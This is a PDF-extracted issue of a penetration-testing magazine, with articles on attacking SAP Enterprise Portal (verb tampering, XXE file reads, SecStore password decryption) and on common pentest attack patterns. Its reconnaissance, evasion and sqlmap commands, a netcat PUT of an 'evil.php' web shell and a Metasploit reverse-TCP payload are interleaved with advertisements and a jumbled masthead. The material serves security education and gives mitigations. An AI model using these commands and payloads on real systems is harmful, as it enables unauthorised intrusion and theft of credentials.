Pentest Open 08 2013

March 22, 2018 | Author: Jose Simpson | Category: Computer Network Security, Cybercrime, Information Technology, Information Age, Cyberwarfare


Comments



Description

Cyber Security Auditing Software Improve your Firewall Auditing As a penetration tester you have to be an expert in multiple technologies. Typically you are auditing systems installed and maintained by experienced people, often protective of their own methods and technologies. On any particular assessment testers may have to perform an analysis of Windows systems, UNIX systems, web applications, databases, wireless networking and a variety of network protocols and firewall devices. Any security issues identified within those technologies will then have to be explained in a way that both management and system maintainers can understand. he network scanning phase of a penetration assessment will quickly identify a number of security weaknesses and services running on the scanned systems. This enables a tester to quickly focus on potentially vulnerable systems and services using a variety of tools that are designed to probe and examine them in more detail e.g. web service query tools. However this is only part of the picture and a more thorough analysis of most systems will involve having administrative access in order to examine in detail how they have been configured. In the case of firewalls, switches, routers and other infrastructure devices this could mean manually reviewing the configuration files saved from a wide variety of devices. Although various tools exist that can examine some elements of a configuration, the assessment would typically end up being a largely manual process. Nipper Studio is a tool that enables penetration testers, and non-security professionals, to quickly perform a detailed analysis of network infrastructure devices. Nipper Studio does this by examining the actual configuration of the device, enabling a much more comprehensive and precise audit than a scanner could ever achieve. www.titania.com With Nipper Studio penetration testers can be experts in every device that the software supports, giving them the ability to identify device, version and configuration specific issues without having to manually reference multiple sources of information. With support for around 100 firewalls, routers, switches and other infrastructure devices, you can speed up the audit process without compromising the detail. You can customize the audit policy for your customer’s specific requirements (e.g. password policy), audit the device to that policy and then create the report detailing the issues identified. The reports can include device specific mitigation actions and be customized with your own companies styling. Each report can then be saved in a variety of formats for management of the issues. Why not see for yourself, evaluate for free at titania.com Ian has been working with leading global organizations and government agencies to help improve computer security for more than a decade. He has been accredited by CESG for his security and team leading expertise for over 5 years. In 2009 Ian Whiting founded Titania with the aim of producing security auditing software products that can be used by non-security specialists and provide the detailed analysis that traditionally only an experienced penetration tester could achieve. Today Titania’s products are used in over 40 countries by government and military agencies, financial institutions, telecommunications companies, national infrastructure organizations and auditing companies, to help them secure critical systems. www.titania.com you may send us an email with your impressions on this publication. Zbigniew Fiołna. Mychael Brown. III Betatesters & Proofreaders: Ayo Tayo Balogun. so we can create more and better issues each time. L ong time has passed since we have prepared something THAT special for members without a subscription! After long and profound research.dudzic@software. the editors make no warranty. Steven Wierckx. Steve Hodge. Davide Quarta. Enjoy the reading! Michael Rogaczewski & PenTest Team DISCLAIMER! The techniques described in our articles may only be used in private. We need some feedback. Santosh Kumar Rana. Trinckes. local networks.duranc@pentestmag. This time we have mainly focused on attack scenarios. we still hope that you will learn a lot of new things.pogroszewski@software. Articles describe such techniques as bypassing new generation firewalls.pl Art Director: Ireneusz Pogroszewski ireneusz. Nitin Goplani. Michał Rogaczewski. Laney Kehel. Without their assistance there would not be a PenTest magazine. Stephanie Castille. However. Johan Snyman. Massimo Buso. remember . David Kosorok. Pilo Dx. Elliot Bujan. Jakub Walczak. concerning the results of content usage. John J. Mardian Gunawan. Michael Munt. Dalibor Filipovic. Craig Thornton. Kyle Kennedy. Tahir Saleem. Arnoud Tijssen.kuca@software. Lotfi Yassa and others Special Thanks to the Beta testers and Proofreaders who helped us with this issue. Pinto Elia. Ewa Duranc. Amitay Dan. Vinoth Sivasubramanian.com. William F. Motz. All rights to trade marks presented in the magazine are reserved by the companies which own them. John Webb. Dallas Moore. Gilles Lami. Phil Patrick. Alexander Groisman.com.pl DTP: Ireneusz Pogroszewski Publisher: Hakin9 Media SK 02-676 Warsaw. L. Hani Ragab Hassen. Jeff Smith. Slater. as we know that you love it. Matteo Massaro. Dan Dieterle. Gregory Chrysanthou. Varun Nair. José Luis Herrera. All trade marks presented in the magazine were used only for informative purposes. Sagar Rahalkar. Inaki Rodriguez. Robin Schroeder. David Small.pentestmag. Poland Postepu 17D Phone: 1 917 338 3631 www. Aidan Carty. David Jardin. We are certain everyone will find something interesting in this publication. we have created a beatiful OPEN issue. express or implied. Even thought almost everybody knows this tools inside-out. If you are reading these words right now. taking over an active directory and hacking sap enterprise portal. As there is not much to add.com Managing Editor: Michael Rogaczewski rogaczewski.com .com Editorial Advisory Board: Jeff [email protected] not hurt anyone! Editor in Chief: Ewa Duranc ewa. Rebecca Wynn. OPEN 08/2013 Page 4 http://pentestmag. we will leave you with this brilliant lecture. Senior Consultant/Publisher: Paweł Marciniak CEO: Ewa Dudzic ewa. Juan Bidini. Mateo Martinez.com Whilst every effort has been made to ensure the high quality of the magazine. Amit Chugh.Dear PenTest Readers.pl Production Director: Andrzej Kuca andrzej. Tim Singletary. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.com. Most of included scenarios use BackTrack or Kali Linux. . presents a simple scenario where an attacker does a simple takeover of an active directory while using only backtrack and our knowledge. the desire to cause financial or reputational losses. FROM: PenTest REGULAR 06/2013 48Taking Over an Active Directory by Gilad Ofir POST-Method CSRF 26Automating Attacks by Justin Hutchens Cross-Site Request Forgery is often compared to XSS (Cross-Site Scripting). what kinds of bypass techniques are used to launch buffer overflows. of course. heap based and stack overflow attacks and return oriented programming concepts to exploit remote code execution vulnerabilities. XSS exploits a vulnerability on a target server to access.CONTENTS 08Hacking SAP Enterprise Portal by Dmitry Chastukhin Business applications have been and will always be the cherished goal of cybercriminals’ attacks. and how such attacks can be avoided. which is demonstrated in the article. manipulate.com . This need is caused by the fact that our systems are constantly at risk from either internal or external attacks. The idea of a pentest is not just to check the existence of controls but to evaluate the sufficiency and appropriateness of these controls. FROM: PenTest EXTRA 03/2013 Internet Explorer Same ID Property 54MS Remote Code Execution Vulnerability by Praveen Parihar In this article you will learn about concepts behind Internet Explorer memory corruption. FROM: PenTest REGULAR 06/2013 32Blackhat Recon With Wireshark by Lee Alexander King FROM: PenTest EXTRA 06/2013 On unknown networks and black hat testing. sale of critical information. FROM: PenTest EXTRA 03/2013 OPEN 08/2013 Page 6 http://pentestmag. The attack. Such actions can have many purposes: industrial espionage. new generation Firewalls 40Bypassing with Meterpreter and SSH Tunnels by Ignacio Sorribas In this article we seen how in some cases the firewall detects malicious code and is capable of blocking the connections. we often come across a need to secure infrastructure. and exploit data on the client-side. In this article. infrastructure and potential vulnerabilities. FROM: PenTest EXTRA 05/2013 Attack Patterns in Penetration 16Common Testing by Sumit Agarwal A penetration testing project for assessing overall security of an organization covers testing of various aspects and layers of its security infrastructure. I would like to tell in detail how a potential attacker can attack one of the most popular modules of the SAP ERP system: SAP Enterprise Portal. but really…this isn’t accurate. Wireshark is a must-have tool to find critical information about your surroundings. but also demonstrated how easy it is to bypass this restriction. FROM: PenTest WEBAPP 01/2013 As Pentesters and Security Specialists. Find out more together with Lee Alexander King. edu > 877. special attention to the risk should be raised with regards to protecting yourself against malicious insiders or rouge employees. where the automated vulnerability scanner tools failed to detect the SQL injection vulnerability residing inside the SOAP web services code. Can you walk the walk? 70 How to Detect SQL Injection Vulnerabilities in SOAP [ IT’S IN YOUR DNA ] LEARN: Advancing Computer Science Artificial Life Programming Digital Media Digital Video Enterprise Software Development Game Art and Animation Game Design Game Programming Human-Computer Interaction Network Engineering Network Security Open Source Technologies Robotics and Embedded Systems Serious Game and Simulation Strategic Technology Development Technology Forensics Technology Product Design Technology Studies Virtual Modeling and Design Web and Social Media Technologies by Francesco Perna and Pietro Minniti SQL Injections are a well known topic in web application security. In fact. the author writes about a real world example. Particularly. In this article. why another article about that? Because not all the SQL injections are so obvious.GEEK OPEN 08/2013 Please see www. invoked by an MDI Windows application. The technique is used after the attacker has gained access to your environment. but that is not all we can do with this kind of vulnerability. SQL Injection can be exploited in order to get all the information stored in a database. In this article the author writes about one possible target scenario: a SQL Injection that allows us to execute SQL statements on an Oracle 11g database in order to exploit its vulnerabilities and achieve a complete system pwning. FROM: PenTest EXTRA 01/2013 www. it is the number 1 vulnerability on the famous OWASP Top 10.uat. As you probably know. FROM: PenTest EXTRA 02/2013 64 From SQLi in Oracle to Remote Execution by Jose Selvi [ GEEKED AT BIRTH ] SQL Injection is one of the most common vulnerabilities you can find in webapps. FROM: PenTest EXTRA 01/2013 You can talk the talk.CONTENTS 58Pass-The-Hash Attacks by Christopher Ashby Pass-The-Hash (PTH) is a post exploitation attack technique that is used to obtain user account hashes from either client workstations or domain servers and then use this information to elevate privileges and/or create new authenticated sessions. he describes the vulnerability exploitation phases starting from the detection to the database data acquisition using the commonly available tools. placement and costs.UAT. and pentesters often look for them only inside the web application GET/ POST requests. So.uat. Databases are complex systems and can be configured wrong or be outdated. .edu/fastfacts for the latest information about degree program performance. Portal is also the place where network users can carry out their duties: edit documents.com . and so on) and private data (internal documents. This property of the module dispels the myth that SAP is not accessible from the Internet. using a simple Google Dоrk: inurl: /irj/portal. I would like to tell in detail how a potential attacker can attack one of the most popular modules of the SAP ERP system: SAP Enterprise Portal. is used within a company as the place where both public information (including company news. As a general rule. For example. employee data. sale of critical information. manage users. and how such attacks can be avoided. you can find a large number of SAP EPs available for connection (Figure 1). all attacks on business applications and systems are targeted. Such actions can have many purposes: industrial espionage. and are performed by quite qualified people. which can as easily detect available SAP EPs (Figure 2). Download the complete issue. SAP Enterprise Portal (EP) is the main system entry point for all users in the enterprise network. as a rule. A distinctive feature of SAP Portal is that it is linked to almost all of the other SAP components deployed in the corporate network. but also to turning it into a kind of springboard for further attacks of the hacker.Hасking SAP Enterprise Portal Business applications have been and will always be the cherished goal of cybercriminals’ attacks. the desire to cause financial or reputational losses. or work with necessary tables. hold meetings and discussions. n this article. Article comes from Pen Test REGULAR. Accessing EPs from Google You can also use the Shоdаn search engine. Portal. OPEN 08/2013 I Figure 1. Searching for EPs via Shodan Page 8 http://pentestmag. and orders) is stored and processed. so compromising SAP Portal will lead not only to compromising all of the information it contains. It is important to note that access to SAP EP can often be obtained from the Internet. instructions. Figure 2. +91 99208 42798 | E: lokesh.000 information security professionals in India according to the National Cyber Security Policy. The Ground Zero Summit. Register Today. CTO. Be there. ESIEA – CVO LAB And many more… Academia Partner Supporting Associations Capt. Ministry of Home Affairs. Prominent speakers presenting at the summit are: Keynote Speakers International Speakers Dr. CEO.00. promoted by the “Information security Consortium” is the first step towards securing our cyber frontiers. Asia’s largest Information Security Summit.There is shortage of 5.bhardwaj@g0s. Cloodie SA Filol Eric. Head of Research.org . Government of India Alexander Polyakov. Director. Nirmaljeet Singh Kalsi. Raghu Ram. 2013. Gulshan Rai. ERPSCAN Enrique Patricio Calot. National Intelligence Grid (Natgrid) Platinum Partner Gold Partner Media Partner Online Media Partner Produced by Executed by THE BUSINESS VALUE OF TECHNOLOGY For delegate contact: Lokesh Bhardwaj | M: +91 95882 11188. CEO. CERT – In Dr. defining the name of the servlet. Architecture In order to understand specific attacks on SAP EP. Now that you can picture the basic architectural layout. The issue is that. let us move on to the possible Portal attack vectors. SAP EP architecture OPEN 08/2013 Page 10 http://pentestmag. Thus. authentication can be bypassed in this case. As can be seen on the scheme. except for one difference – it does not return the body of the server Figure 3. which defines the HTTP method used to access the servlet.com . However. which defines the necessary role to access the servlet. you should first look at its architecture. It requires understanding some nuances of how J2EE applications operate. a user must make a get request and have the role administrator. An example of such descriptor file follows in Listing 1. The scheme shows that SAP Portal has links to the database where data is stored. as well as to many other SAP components and models. EP itself is a platform where all kinds of entities operate. but typically forget about the HEAD method. shown in Figure 3. Access to applications running on J2EE is defined by the developers using the descriptor file called web. it is important to understand how an attacker can compromise J2EE. • SAP Portal attacks • SAP NetWeaver J2EE • Verb Tampering Since SAP NetWeaver J2EE is the basis of SAP EP. in order to access the servlet CritiсаlAсtiоn. and single Components. http-method.xml. as a rule. the system is based on Web Application Server (SAP J2EE). if a user makes a request which is not GET. The most important tags in this file are: servlet-name. Let’s take a closer look. the user role will not be checked. restrict access to the application for GET and POST methods. which is similar to GET. Applications. which provides the context where Portal operates. Let’s take a look at SAP Portal in more detail. web services.The popularity of SAP EP and its availability on the Internet makes it a desirable entry point for hackers who are choosing the spot to attack companies of various size and industry. The foremost of them are iViews. Developers. and role-name. So an attacker can call the servlet CritiсаlAсtiоn by the URI /servlet/com.action and get access having no role because this URI does not match the one specified in url-pattern.” Figure 4 shows the ipconfig command executed on the SAP Portal server. In addition to user control.xml once again (Listing 2).XML Checker utility.sap. which describes the URI to access the servlet. This can be done using the ERPSсаn WEB.com . it is important to send the request rather than to receive the response. Pay attention to another important tag: url-pattern. “create user. the attacker can gain administrative access to the SAP system: • Create a new user “blabla” with a password “blаblа” • Add the user to the group “Administrators” This type of attack is called Verb Tampering. To secure your system: • Install SAP notes: 1503579. he may try exploiting this error.xml descriptor file <servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com. However. deleting users.sap. This is quite suitable for the attacker because in a request to create a user. an attacker can bypass authentication and access the servlet here as well. For example. he can use a servlet known as CTC.admin.critical. web.Critical. However. More details on Verb Tampering are available in Metasploit and ERPScan Pentesting Tool. if they have the role administrator.Listing 1. To attack actual SAP systems. Action</servlet-class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servletname> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</webresource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint> response. admin. Thus. for example. web. moving them from group to group. if an attacker finds an application that does not require server responses. Listing 2.xml files. 1616259. an attacker can again use the CTC servlet.sap. The issue is that the InvоkerServlet mechanism is enabled in SAP by default.Critical. they will have access to the CritiсаlAсtiоn servlet.xml <servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com. Invoker Servlet Let’s take a look at web. it allows executing commands in the OS where SAP Portal operates. So if a user makes a get request to the URI /admin/critical/CritiсаlAсtiоn. • Check all web. which allows calling servlets by specially formed links. which requires authentication when using GET and POST methods and allows managing users in SAP Portal: creating. using only two requests to SAP Portal.admin. Action</servlet-class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servletname> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</webresource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> <http-method>HEAD</http-method> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint> OPEN 08/2013 Page 11 http://pentestmag. myObjects”. /. It is yet another classic attack on web applications. directory traversal is not performed by the classic characters / . One of them is cross-site scripting (XSS). during an attack on Portal an attacker can use the specific features of EP: for example. It is also a classical attack on XML transport web applications. An example of such payload: alert(EPCM. containing critical functions or vulnerabilities of various kinds. for example. • Medium Safety • A user must be assigned to a particular portal role that is authorized to access portal components defined in the security zone • High Safety • A user must be assigned to a portal role with higher administrative rights that is authorized to access portal components defined in the security zone OPEN 08/2013 SAP EP is a web application.. so it is liable to all vulnerabilities which are characteristic of web applications. in contrast to the classical payload for this kind of attacks. a range of applications was found with Safety Level = No Safety. it has its own special features: for example. They have such a critical parameter as Safety Level.com Directory traversal XML External Entity Page 12 .com/saphelp_nw70/helpdata/ en/f6/2604db05fd11d7b84200047582c9f7/ frameset. To secure your system: • Check the Safety Level settings in your applications • Use SAP guidelines: • http://help. To secure your system: Install SAP notes: 1630293. EP has an entity called Security Zone which serves as an additional tool to configure access to Portal programs (iViews). • Low Safety • A user must be at least an authenticated portal user to access portal components defined in the security zone.htm Figure 4. Sometimes. ! 252f. Because XML is one of the main transports in SAP Enterprise Portal.XML Checker utility. The zones are defined for each application in the descriptor file pоrtаlаpps.htm • http://help. 1445998 • Check all web..sap.sap. however. ipconfig command executed on the SAP Portal server To secure your system: • Install SAP notes: 1467771. but rather by ! 252f. an iView by direct URL: /irj/servlet/prt/portal/prtroot/<iView_ID> In SAP EP.loadClientData(“urn:com. There are 4 Safety Levels: • No Safety • Anonymous users are permitted to access portal components defined in the security zone.com/saphelp_nw70/helpdata/ en/25/85de55a94c4b5fa7a2d74e8ed201b0/ frameset.xml files. a potential attacker may attempt to compromise the system http://pentestmag. the EPCF technology which allows accessing user data through a special JavaScript API. However. “person”). XSS Portal Security Zone Let’s move on to possible attacks aimed directly at the Portal. To secure your system: Install SAP notes: 1656549. This can be done using the ERPSсаn WEB.sap.Developers ought to be very careful when defining Safety Level because it is the only thing which will be checked if a user calls. which is responsible for the level of access to the application.xml. XXE request to Portal as seen in a sniffer Figure 6. Such an attack is based on the fact that SAP has a special password storage called SAP Security Storage. they will be able to decrypt passwords and gain administrative access to Portal. prоperties. So if an attacker is able to read these files. This attack can be carried out in several stages: Figure 5. XML found in the XXE request to Portal Figure 7. which is located in the file SeсStоre.through it. but the key to decrypt them is located in the same directory as the passwords (in the file SeсStоre. Reading files from the SAP Portal server using an XXE vulnerability OPEN 08/2013 Page 13 http://pentestmag.com . Passwords are encrypted. This section will describe how an attacker can gain administrative access to SAP EP.key). so using a simple internal search mechanism and queries like “secret” or “password”. After the files are successfully read. but all the latest information related to the security of the SAP ERP system is available at http://erpsсаn. if we look closer. and. an attacker could use Portal as the OPEN 08/2013 Director of SAP Pentesting Department (d. SecStore_Cr. http://pentestmag. and specify the SID of the system.prоperties with encrypted passwords. The vulnerability to allow reading files from the SAP EP server can be one of the previously described bugs. To do this. I would like to demonstrate XML eXternal Entity (XXE) separately. • Read the file SeсStоre. an attacker can learn a lot of confidential information (Figure 9). Conclusion Figure 8.key Information Disclosure SAP Portal is shipped with many services. To secure your system: • Install SAP note 1619539 • Restrict read access to files SecStore.соm. PPS: Not all the possible attacks on SAP EP are described in this article.сhаstuсhin@ erpsсаn. • Decrypt the administrative password and gain access to SAP EP. and even by common users.com).jar file in the same directory where the passwords and key files received from the server are located. there may be other vectors of attack development. As a result of its work. For example. It is where we will implement the request which will return the content of the files SeсStоre.key with the key to decrypt passwords.jar file decrypting passwords and other info SAP Enterprise Portal is the most interesting target for hackers who aim to gain access to corporate data because of the popularity of this SAP module. Portal stores a lot of documents. It can be Directory Traversal or Command Execution. we will find XML in one of the parameters (Figure 6). PS: All the vulnerabilities presented in this article have been fixed in cooperation with SAP’s Product Security Response Team more than a year ago. which can be used by hackers to obtain information when planning attacks on the system.com DmiTRY ChasTUKhiN Page 14 . ground for further action.• Find a vulnerability that allows you to read files on the SAP Portal server. You can see a great number of parameters in the POST request. Figure 5 shows how a typical request to Portal looks in a sniffer. they can be decrypted with the utility ERPSсаn SeсStоre descriptor.properties and SecStore. Figure 9. This is why its security undoubtedly requires increased attention to be paid both by system administrators and the developers. However. the utility displays the decrypted passwords and other service information (Figure 8). Portal’s internal search engine shows results for “password” To secure your system: restrict read access to important or sensitive information stored in SAP EP.key. prоperties and SeсStоre. • Read the file SeсStоre. launch the SeсStоre_Cr. . It is often observed that multi national companies invest quite a lot in wide-ranging fancy security products without evaluating their appropriateness. Download the complete issue. The actual idea of layered defence is implementation of appropriate controls at various vulnerable entry points such that all identified weaknesses are sufficiently safeguarded. The robustness and efficiency of layered defence is put to test for finding an entry point.com Page 16 . Such plans often cater for multiple failure possibilities but leave out safeguarding multiple entry points. The model of a multi-pronged attack methodology to penetrate a layered security architecture is depicted in Figure 1. Attacking ISO 7498-2 Another approach for breaking through a layered security can be thought of keeping the OSI Security http://pentestmag. Mostly. These fancy solutions however provide a false sense of security and leave many holes unplugged. the possibility of victory in the attack” -Sun Tzu Article comes from Pen Test REGULAR. it is as easy as finding an unprotected entry point or a security control in its default configuration but most of the times it requires proper planning and thorough knowledge of the environment to bypass the safeguards and break through. A security infrastructure when not aligned with the organization’s business needs fails to reap desired return on investment. the concept of layered defence is misinterpreted as putting a number of security measures one after the other to act as a backup in case one fails. A penetration testing project for assessing overall security of an organization covers testing of various aspects and layers of its security infrastructure. OPEN 08/2013 “Hence that general is skillful in attack whose opponent does not know what to defend. Sometimes.Common Attack Patterns in Penetration Testing “Invincibility lies in the defence. The idea of a pentest is not just to check the existence of controls but to evaluate the sufficiency and appropriateness of these controls. and he is skillful in defense whose opponent does not know what to attack” -Sun Tzu Multi-Pronged Attack Methodology A multi-pronged attack methodology looks for possible weaknesses at various layers of security. This phase prepares the ground for the pentester to launch appropriate scans and exploits at later Figure 2. “Nobody ever defended anything successfully. .architecture reference model (ISO 7498-2) in perspective (Figure 2) Attack Patterns in Penetration Testing stages. Attacking OSI layers Figure 1. there is only attack and attack and attack some more”. Information Gathering Information gathering is the most critical and most time consuming phase of the penetration test.com . Patton PenTest Case Study See Figure 4.George S. Any mistake in information gathering or analysis may compromise the complete pentesting assignment. it is important to have complete understanding of the environment. Information gathering involves In order to identify weakness and blow holes in a robust security architecture with layered defence. Multi-pronged attack methodology OPEN 08/2013 Page 17 http://pentestmag. A typical penetration testing attack is carried out in three phases (Figure 3). HTTP Banner Grabbing Http headers can provide quite a lot of information about a Web Server. web application.26. Allowed Http Methods.1. Phases of a Typical PenTest harvesting of complete information about the target network.Listing 1.NET Date: Fri. etc.0_Pub X-Powered-By: ASP.1. and environment. Network Diagram of a PenTest Scenario OPEN 08/2013 Page 18 http://pentestmag. For example.0 HTTP/1. 13 Sep 2013 22:10:40 GMT Connection: close Figure 3. web-server/ version. 29 Aug 2013 16:03:16 GMT Accept-Ranges: bytes ETag: “9a34bcfd0a023:41a2” Server: Microsoft-IIS/6. Figure 4. Using Netca nc -v 172.1 200 OK Content-Length: 230 Content-Type: text/html Content-Location: http://172.2 80 HEAD / HTTP/1.htm Last-Modified: Sat.26.2/MyWebInterface. platform.0 MicrosoftOfficeWebServer: 5.com . 0 HTTP/1. OPTIONS / HTTP/1. PUT.NET Date: Fri. Escape character is ‘^]’. Using Whois whois <domain-name> whois <ip-address> This will provide information about domain registrar. COPY.Using Netcat See Listing 1.0 Set-Cookie: ASPSESSIONIDACBATBQQ=MYAASDJOASR TWD.1 200 OK Cache-Control: private Content-Length: 1777 Content-Type: text/html Server: Microsoft-IIS/6. POST Server: Microsoft-IIS/6. This will obtain the MX (Mail Exchange) record information for the particular domain. net-block owner information. SEARCH.2… Connected to 172. nslookup –q=mx <domain-name> Listing 2. The traceroute information also gives an idea where network devices/routers/firewalls are placed in the path. and e-mail ids in some cases. Using Telnet See Listing 2.com .0 Public: OPTIONS. SEARCH.26. POST X-Powered-By: ASP. 13 Sep 2013 22:10:40 GMT Connection: close Content-Length: 0 Connection closed by foreign host. OPEN 08/2013 Page 19 http://pentestmag. PUT. Escape character is ‘^]’. Using Traceroute tracert <domain-name> tracert <ip-address> This will trace the complete route which a packet traverses to reach the destination. TRACE.2 80 Trying 172.1.1. Querying SMTP Server telnet 172.1.2.26.26. Mapping the Network (in case of publically accessible web servers).2 80 Trying 172. HEAD. HEAD.2… Connected to 172. network range. Using Nslookup nslookup <domain-name> This will query DNS Server to obtain IP address mapping and DNS record information.1. To tal number of hops required to reach destination is also revealed by traceroute. This information when analyzed in conjunction with the TTL(Time To Live) information obtained from pinging the target will help in identifying the operating system of the target host.1.0 HTTP/1.6 25 This will fetch the SMTP banner information.1.26. TRACE.1 200 OK Allow: OPTIONS. HEAD / HTTP/1. Using Telnet telnet 172. Internal network topology can be discovered by forwarding an e-mail to a non-existent user in the domain and then analyzing headers of the bounced mail.1. COPY.26. GET.26. path=/ X-Powered-By: ASP. 13 Sep 2013 22:10:40 GMT Connection: close Connection closed by foreign host telnet 172. The header information will reveal ip addresses of servers through the mail path. contact number. GET.2. and administrator’s information like name.NET Date: Fri. Using Dig Dig <domain-name> mx This will fetch the MX record information of the target domain.26. 1. Scenario 2: Firewall with Generic Rule Set pass from any to any proto tcp port 80/25/53 drop all Nmap Command: \ > nmap –sP 172.674 days (since Mon Sep 9 12:03:04 2013) Network Distance: 10 hops TCP Sequence Prediction: Difficulty=205 (Good luck!) IP ID Sequence Generation: All zeros Listing 4.1.6 Starting Nmap ( http://nmap.1.15s latency).6 proto tcp port 25 Result: All hosts found.10 Starting Nmap ( http://nmap.1.1.126.6.2 Starting Nmap ( http://nmap.Host Discovery with Nmap Scenario 1: Firewall with No Filtering pass from any to any Nmap Command: \ > nmap –sP 172.org ) Nmap scan report for 172.26. 4 Nmap Command: \ > nmap –sP PS25.26.1.126.2 proto tcp port 80 to 172.2. Services and version detection with nmap nmap –sV 172.53.126.26.1.0/29 Result: Only Web Server gets detected (TCP pings for port 80 on 172.1.1.126.4 proto tcp port 53 to 172.1.0/29 Result: No hosts found (ICMP dropped.4 proto tcp port 53 to 172. Scenario 4: Stateful Firewall with Specific Rules pass from any keep state pass from any keep state pass from any keep state drop all Nmap Command: to 172.26. OS detection with nmap nmap –O 172.6 Host is up (0.126.931 9929/tcp open nping-echo 31337/tcp open Elite Device type: general purpose Running: Linux 2.1.com . TCP Ack packets dropped because they are not part of any previously established connection).1.0) 25/tcp open smtp Postfix smtpd 80/tcp open http Apache httpd 2.org ) Nmap scan report for 172.26. ICMP packets are blocked).1.3 ((CentOS)) 113/tcp closed auth 443/tcp open ssl/http Apache httpd 2.26.39 OS details: Linux 2.2 gets through).1. Scenario 3: Firewall with Specific Rules pass pass pass drop Nmap from any from any from any all Command: to 172.1.6 proto tcp port 25 \ > nmap –sP 172.80 172.0/29 \ > nmap –sP 172.2 Host is up (0. Solution for scenarios 3.1.10 Not shown: 994 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 646/tcp filtered ldp 1720/tcp filtered H.016s latency).3 (protocol 2.6. Not shown: 95 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.X OS CPE: cpe:/o:linux:linux_kernel:2. Not shown: 992 closed ports PORT STATE SERVICE VERSION 80/tcp open http httpd 6.1.2 proto tcp port 80 to 172. Listing 3.126.323/Q.26.6.1.39 Uptime guess: 1.0 Microsoft IIS nmap –sV 172.26.26.26.126.0/29 Result: Still all hosts found (TCP pings for port 80 get through.org ) Nmap scan report for 172.26.3 ((CentOS)) OPEN 08/2013 Page 20 http://pentestmag.2.0/29 Result: 03 hosts found (passes stateful firewall as -PS option sets the SYN flag instead of Ack). web technologies.168. OWASP (Open Web Application Security Project) has classified various weaknesses/vulnerabilities associated with web applications under OWASP Top 10.5. CMS(Content Management System). Scanning a Firewall for Security Weaknesses A firewall may be blocking certain types of scans based on its rule set.168.1 This will split up the TCP header over several packets to bypass detection by packet filters/IDS (Intrusion Detection Systems). it can be probed with various packet fragment sizes.1 nmap –f 10 192. Once the allowed packet types are known. These tools also map the criticality of weaknesses discovered on a scale of High.168. OS Detection with Nmap See Listing 3. Services and Version Detection with Nmap See Listing 4. Scanning a Firewall for Packet Fragments In order to identify MTU size (Maximum Transmission Unit) allowed by the firewall.168. and analysis of application servers. a pentester needs to probe it with unconventional scans which might get through a generic rule set. session management. and Low along with CVE (Common Vulnerabilities and Exposures) and exploits. Figure 5. database server. Burpsuite web proxy OPEN 08/2013 Page 21 http://pentestmag. and prepares the ground work for launching appropriate exploits in the exploitation phase.1 nmap --mtu 32 192. Vulnerability Scanning of Hosts with Nessus/ OpenVAS Vulnerability scanners like nessus and openvas provide a deep insight into weaknesses of the scanned hosts.5.168.Vulnerability Detection This phase focuses on scanning of hosts for open ports and identifying vulnerable services running on them.5.5. Therefore.1 TCP FIN Scan: nmap –sF 192.com .5.1 TCP X-MAS Scan: nmap –sX 192. and business layer logic. testing. Web Application Scanning and Enumeration Web application scanning involves enumeration. the internal network can be probed further. authentication and authorization mechanisms. injection flaws. TCP Null Scan: nmap –sN 192. Medium. routerpasswords.com Figure 6. modifying Rulesets/ACLs and exploiting internal hosts is a cakewalk for the pentester.2/page. tamper. or WordPress (Figure 7). Joomla. If the application is found vulnerable. analyze. the business logic layer of the application can be manually evaluated unlike most automated tools. Common CMS Enumeration Using wpscan/ joomscan/DPScan Enumeration of common CMS (Content Management Systems) versions and modules can be done by automated scripts/tools like Droopal.com.26. acunetix. Figure 7. Exploitation This is the final phase of a penetration testing attack. Directory brute forcing by DirBuster Testing for SQLI using Havij/Sqlmap Tools like havij and sqlmap enables the pentester to test the web application for potential SQLi (SQL Injection) flaws. python sqlmap. netsparker. Once the control of firewall/device has been obtained.1. the entire database can be accessed and taken over. false negatives. A default CMS login or a publically accessible configuration file http://pentestmag. Exploiting Default Configurations More often than not it is found that devices/systems/servers are left in their default configurations. php?id=5’ This will test the url parameter id against a set of injection payloads.py -u ‘http://172. Therefore. These tools probe the application with a variety of payloads for detecting well known vulnerabilities. Content Management System Enumeration Discovery of vulnerable CMS versions/modules may lead to complete web application exploitation and control at a later stage. and inject payloads in the requests/responses being communicated between client’s browser and web application server. such scans are prone to false positives and more worryingly. A pentester shall look for default ports/services commonly used for remote administration of firewalls/network devices. Also. OPEN 08/2013 Page 22 . This approach empowers the pentester to test the application for entry points by manipulating request/response headers himself. Not only network devices but servers are also prone to this misconfiguration flaw. A comprehensive list of default passwords for various devices can be found at www. Successful exploitation will provide complete control of hosts to the pentester. The result of a probe is completely based on a typical response code/header/format. Manual Probing Using Web-Proxies: ZAP/ Webscarab / Burpsuite Web proxies give the pentester privileges to intercept. This tool often reveals some important configuration files/administrator files on a misconfigured web server (Figure 6). Brute-forcing Directory Paths Using Directorybuster DirBuster lists various accessible directories on a web server by brute forcing common directory names and paths. and more.Using Automated Scanning Tools: W3af / Acunetix / Netsparker A typical web application can be scanned for vulnerabilities by various automated scanning tools like w3af. which involves exploitation of vulnerabilities discovered in previous phases. 0 Content-type: text/html Content-length: 250 Figure 8. Hash Cracking Exploiting a web application database with SQLi often provides passwords in the form of encrypted hashes. Medusa... Core Impact. Exploiting FTP/SSH Server: Post logging in to the FTP/SSH Server one could PUT/WGET a local privilege escalation exploit and execute it to get the server shell..2/evil.php which in turn will provide access to file system of the web server.. and others.26. the password cracking approach may be resorted to. msf > use payload/php/meterpreter_reverse_tcp msf payload(meterpreter_reverse_tcp) > show options Exploiting Anonymous Login A pentester should look for anonymous ftp or anonymous ssh login possibilities in the target servers.. Logging in to Anonymous FTP is presented in Listing 5.2 80 PUT /evil. Cookie Stealing by using Cross 